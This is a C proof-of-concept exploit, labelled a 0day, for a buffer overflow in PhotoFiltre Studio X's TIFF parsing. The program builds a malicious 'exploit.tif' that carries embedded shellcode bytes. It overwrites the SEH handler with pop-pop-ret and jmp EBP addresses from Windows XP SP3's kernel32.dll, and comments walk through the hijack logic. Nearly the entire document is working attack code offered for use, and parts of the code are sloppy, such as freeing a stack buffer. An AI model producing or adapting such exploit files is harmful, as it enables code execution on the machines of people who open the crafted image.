PhotoFiltre Studio X - '.tif' Local Buffer Overflow

#include<stdio.h>
 
#define fisier FILE
#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define VER "10.3.0"
#define POCNAME "[*]PhotoFiltre Studio X .tif file local buffer overflow poc(0day)"
#define AUTHOR "[*]fl0 fl0w"
    typedef char i8;
    typedef short i16;
    typedef int i32;
    void gen_random(i8*,const int);
    void print(i8*);
    i32 mcpy(void*,const void*,i32);
    void fwi32(fisier*,i32);
    i32 filerr(fisier*);
    void error(void);
    void filebuild();
    unsigned int getFsize(fisier*,i8*);
    i32 sizes[]={257,163,217,213,940,29};
    typedef struct {
            /*Retcodes from MS Windows xp pro sp3
            */
            i32 popopret;
            i32 jmpbyte;
            i32 jmpEBP;
    }instr;
     i32 main()
     {filebuild();
       printf("%s\n%s\n",POCNAME,AUTHOR);
       print("file done");
       getchar();
     }
           void filebuild() { 
               /*The logic: overwrite seh handler with pop pop ret,overwrite next seh with
                jmp ebp,find the exact location ebp points to and write a jmp 0x40 bytes instr.
                Because there isn't space for shellcode I chose this jmp ebp option.
                And a egghunter wouldn't be the solution because u also need space for it. 
               */ 
               i8 tif1[]= {
    0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x17, 0x00, 0xFE, 0x00, 0x04, 0x00, 0x01, 0x00, 
    0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFD, 0x01, 
    0x00, 0x00, 0x01, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB6, 0x01, 0x00, 0x00, 0x02, 0x01, 
    0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03, 0x01, 0x03, 0x00, 0x83, 0x00, 
    0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 
    0x00, 0x00, 0x0A, 0x01, 0xB6, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x11, 0x01, 
    0x04, 0x00, 0x37, 0x00, 0x00, 0x00, 0x22, 0x01, 0x00, 0x00, 0x12, 0x01, 0x03, 0x00, 0x01, 0x00, 
    0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x15, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 
    0x00, 0x00, 0x16, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x17, 0x01, 
    0x04, 0x00, 0x37, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x00, 0x00, 0x1A, 0x01, 0x05, 0x00, 0x01, 0x00, 
    0x00, 0x00, 0xDA, 0x02, 0x00, 0x00, 0x1B, 0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE2, 0x02, 
    0x00, 0x00, 0x1C, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x01, 
    0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x29, 0x01, 0x03, 0x00, 0x02, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x01, 0x43, 0x43, 0xEB, 0x05, 0x8C, 0x08, 0xFC, 0x7F, 0x43, 0x55, 0x89, 
    0xE5, 0x83, 0xEC, 0x18, 0xC7, 0x45, 0xFC, 0x77, 0x7A, 0x83, 0x7C, 0xC7, 0x44, 0x24, 0x04, 0xD0, 
    0x03, 0x00, 0x00, 0xC7, 0x04, 0x24, 0x01, 0x0E, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0xFF, 0xD0, 0xC9,0xC3, 
    };
    i8 tif2[]= {
    0x92, 0x00, 0x92, 0x00, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF, 0x00, 0x12, 0x00, 0x00, 0x00, 
    0x92, 0x00, 0x49, 0x00, 0x12, 0x00, 0x92, 0x00, 0xAF, 0x00, 0x92, 0x00, 0x49, 0x00, 0x49, 0x00, 
    0x49, 0x00, 0x58, 0x00, 0xAF, 0x00, 0x12, 0x00, 0x58, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 
    0x57, 0x00, 0x12, 0x00, 0x5A, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x12, 0x00, 
    0x00, 0x00, 0x46, 0x00, 0xFD, 0x00, 0xD5, 0x00, 0x1B, 0x00, 0xFF, 0x00, 0xEF, 0x00, 0xA9, 0x00, 
    0xD9, 0x00, 0x00, 0x00, 0x70, 0x00, 0x6C, 0x00, 0xFA, 0x00, 0x99, 0x00, 0xC5, 0x00, 0xF7, 0x00, 
    0xB4, 0x00, 0x48, 0x00, 0xAB, 0x00, 0xE9, 0x00, 0xDE, 0x00, 0x1B, 0x00, 0xFF, 0x00, 0xD7, 0x00, 
    0x64, 0x00, 0xA9, 0x00, 0xD9, 0x00, 0x6E, 0x00, 0x68, 0x00, 0x70, 0x00, 0x92, 0x00, 0xCC, 0x00, 
    0xF2, 0x00, 0x99, 0x00, 0x94, 0x00, 0xE9, 0x00, 0xAD, 0x00, 0xB4, 0x00, 0x4B, 0x00, 0xC9, 0x00, 
    0x85, 0x00, 0xE9, 0x00, 0xE5, 0x00, 0xB4, 0x00, 0x80, 0x00, 0x98, 0x00, 0x8C, 0x00, 0xE0, 0x00, 
    0xC4, 0x00, 0x33, 
    };
              /*   tif1sz=v[1]
                 tif2sz[]=v[2]
                 sehoffset=v[3]
                 nsehoffset=v[4]
                 junksz=v[5]
                 jmpebpoffset=v[6] */     
                  fisier* in=fopen("exploit.in","r"),
                        * out=fopen("exploit.tif","wb");
              //i8 buf=ALOC(i8,100001);   
              i8 buf[100001];
              instr* ASM;
              ASM=ALOC(instr,sizeof(instr));
              ASM->popopret=0x7C86CFC2;//pop esi pop edi ret from kernel32.dll  
              ASM->jmpbyte=0xeb400300;//jmp over(u need to cause a exception NOT a exit call,so work on the instr)
              ASM->jmpEBP=0x7C81ACD3;//JMP EBP from kernel32.dll 
              memcpy(tif1+217,&ASM->popopret,4);
              memcpy(tif1+213,&ASM->jmpEBP,4);
              memcpy(tif1+29,&ASM->jmpbyte,4);
              if(out){
             fwrite(tif1,sizeof(i8),sizeof(tif1),out); 
             gen_random(&buf,940);
             fwrite(&buf,sizeof(i8),940,out);
             fwrite(tif2,sizeof(i8),sizeof(tif2),out);
             fclose(out);
             free(buf);
             }
             else {
                    error();
               }
            
          }
           void error(void) { 
                perror("\nError:");
          }
          i32 filerr(fisier* F) {
              return (ferror(F));  
          }
           void readf(void) {
                
           }     
           
      void fwi32(fisier* F,i32 adr) {
           fputc(adr&0xff,F);
           fputc((adr>>8)&0xff,F);
           fputc((adr>>16)&0xff,F);
           fputc((adr>>24)&0xff,F);
    }
    i32 mcpy(void* dest,const void* source,i32 len)
   { void* D=dest;
     const void* S=source;
     len=sizeof(source);
     memcpy(D,S,len);
     return (len);
       }
     void print(i8* msg)
    {
       printf("[*]%s\n",msg);
    }  
     void gen_random(i8* s,const int len)
    { i32 i;
      static const i8 alphanum[]= {
      "0123456789ABCDEFGHIJKLMNOPQRST"
      "UVWXYZabcdefghijklmnopqrstuvwxyz"};
      for(i=1;i<len;++i)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }